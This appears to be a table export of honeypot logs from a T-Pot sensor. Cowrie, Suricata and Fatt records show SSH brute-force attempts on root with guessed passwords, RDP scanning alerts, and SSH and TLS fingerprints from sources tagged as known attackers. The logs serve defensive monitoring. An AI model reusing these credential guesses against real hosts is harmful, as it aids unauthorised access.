30515	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:36:01.050015+03	2021-09-20 14:45:03.261142+03	{"_id": "YAb9AnwBvYTbRNuE0z0J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/3edc4rfv] failed", "session": "d8600d2f467a", "@version": "1", "password": "3edc4rfv", "username": "root", "timestamp": "2021-09-20T11:36:01.050015Z", "@timestamp": "2021-09-20T11:36:01.050Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30542	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:35:50.067258+03	2021-09-20 14:45:03.296142+03	{"_id": "IQb9AnwBvYTbRNuEqD0K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [root/!Qaz2wsx] failed", "session": "90c1ab36ee37", "@version": "1", "password": "!Qaz2wsx", "username": "root", "timestamp": "2021-09-20T11:35:50.067258Z", "@timestamp": "2021-09-20T11:35:50.067Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30516	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:36:01.88723+03	2021-09-20 14:45:03.262142+03	{"_id": "YQb9AnwBvYTbRNuE1T3E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.200.124.7", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48700, "timestamp": "2021-09-20T11:36:01.887230", "@timestamp": "2021-09-20T11:36:01.887Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30517	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:35:48.671642+03	2021-09-20 14:45:03.264141+03	{"_id": "FQb9AnwBvYTbRNuEpD0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:33230 (192.168.176.2:22) [session: 90c1ab36ee37]", "session": "90c1ab36ee37", "@version": "1", "protocol": "ssh", "src_port": 33230, "dest_port": 22, "timestamp": "2021-09-20T11:35:48.671642Z", "@timestamp": "2021-09-20T11:35:48.671Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30518	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:35:48.674654+03	2021-09-20 14:45:03.265142+03	{"_id": "Fgb9AnwBvYTbRNuEpD0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "90c1ab36ee37", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:35:48.674654Z", "@timestamp": "2021-09-20T11:35:48.674Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30519	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:35:48.933678+03	2021-09-20 14:45:03.267142+03	{"_id": "Fwb9AnwBvYTbRNuEpD0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "90c1ab36ee37", "@version": "1", "timestamp": "2021-09-20T11:35:48.933678Z", "@timestamp": "2021-09-20T11:35:48.933Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30520	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:35:48.930647+03	2021-09-20 14:45:03.268142+03	{"_id": "Ggb9AnwBvYTbRNuEpT3O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 331466015001493, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33230, "dest_port": 22, "timestamp": "2021-09-20T11:35:48.930647Z", "@timestamp": "2021-09-20T11:35:48.930Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30521	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:35:49.541866+03	2021-09-20 14:45:03.269142+03	{"_id": "Gwb9AnwBvYTbRNuEpT3Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:35:49.254739+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 743855889965843, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3004, "dest_port": 3389, "timestamp": "2021-09-20T11:35:49.541866Z", "@timestamp": "2021-09-20T11:35:49.541Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30522	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:35:49.330888+03	2021-09-20 14:45:03.271142+03	{"_id": "HAb9AnwBvYTbRNuEpT3R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:35:49.254739+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 743855889965843, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3004, "dest_port": 3389, "timestamp": "2021-09-20T11:35:49.330888Z", "@timestamp": "2021-09-20T11:35:49.330Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30523	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:35:49.330888+03	2021-09-20 14:45:03.272143+03	{"_id": "HQb9AnwBvYTbRNuEpT3R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:35:49.254739+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 743855889965843, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3004, "dest_port": 3389, "timestamp": "2021-09-20T11:35:49.330888Z", "@timestamp": "2021-09-20T11:35:49.330Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30524	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:35:49.465687+03	2021-09-20 14:45:03.274142+03	{"_id": "Hgb9AnwBvYTbRNuEpT3R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:35:49.254739+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "94.232.41.165", "flow_id": 743855889965843, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 3004, "timestamp": "2021-09-20T11:35:49.465687Z", "@timestamp": "2021-09-20T11:35:49.465Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30525	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:35:50.795947+03	2021-09-20 14:45:03.275142+03	{"_id": "Iwb9AnwBvYTbRNuEqT24", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 62639, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 496, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1851205833072201, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 47971, "timestamp": "2021-09-20T11:35:50.795947Z", "@timestamp": "2021-09-20T11:35:50.795Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30526	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:35:50.845883+03	2021-09-20 14:45:03.276142+03	{"_id": "JQb9AnwBvYTbRNuEqj3F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35414, "dest_port": 443, "timestamp": "2021-09-20T11:35:50.845883", "@timestamp": "2021-09-20T11:35:50.845Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30527	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:35:50.885538+03	2021-09-20 14:45:03.277141+03	{"_id": "Jgb9AnwBvYTbRNuEqj3F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35414, "timestamp": "2021-09-20T11:35:50.885538", "@timestamp": "2021-09-20T11:35:50.885Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30528	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:35:51.15728+03	2021-09-20 14:45:03.278141+03	{"_id": "Mwb9AnwBvYTbRNuErT2g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 6198, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 495, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1168628155637916, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 45645, "timestamp": "2021-09-20T11:35:51.157280Z", "@timestamp": "2021-09-20T11:35:51.157Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30529	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:35:51.207693+03	2021-09-20 14:45:03.280141+03	{"_id": "NQb9AnwBvYTbRNuErj2t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35416, "dest_port": 443, "timestamp": "2021-09-20T11:35:51.207693", "@timestamp": "2021-09-20T11:35:51.207Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30530	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:35:58.956172+03	2021-09-20 14:45:03.281142+03	{"_id": "Twb9AnwBvYTbRNuEzD3l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "flow_id": 1702529098188427, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 3737, "dest_port": 22, "timestamp": "2021-09-20T11:35:58.956172Z", "@timestamp": "2021-09-20T11:35:58.956Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30531	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:35:59.400675+03	2021-09-20 14:45:03.283142+03	{"_id": "UQb9AnwBvYTbRNuEzT3y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 28918, "timestamp": "2021-09-20T11:35:59.400675", "@timestamp": "2021-09-20T11:35:59.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
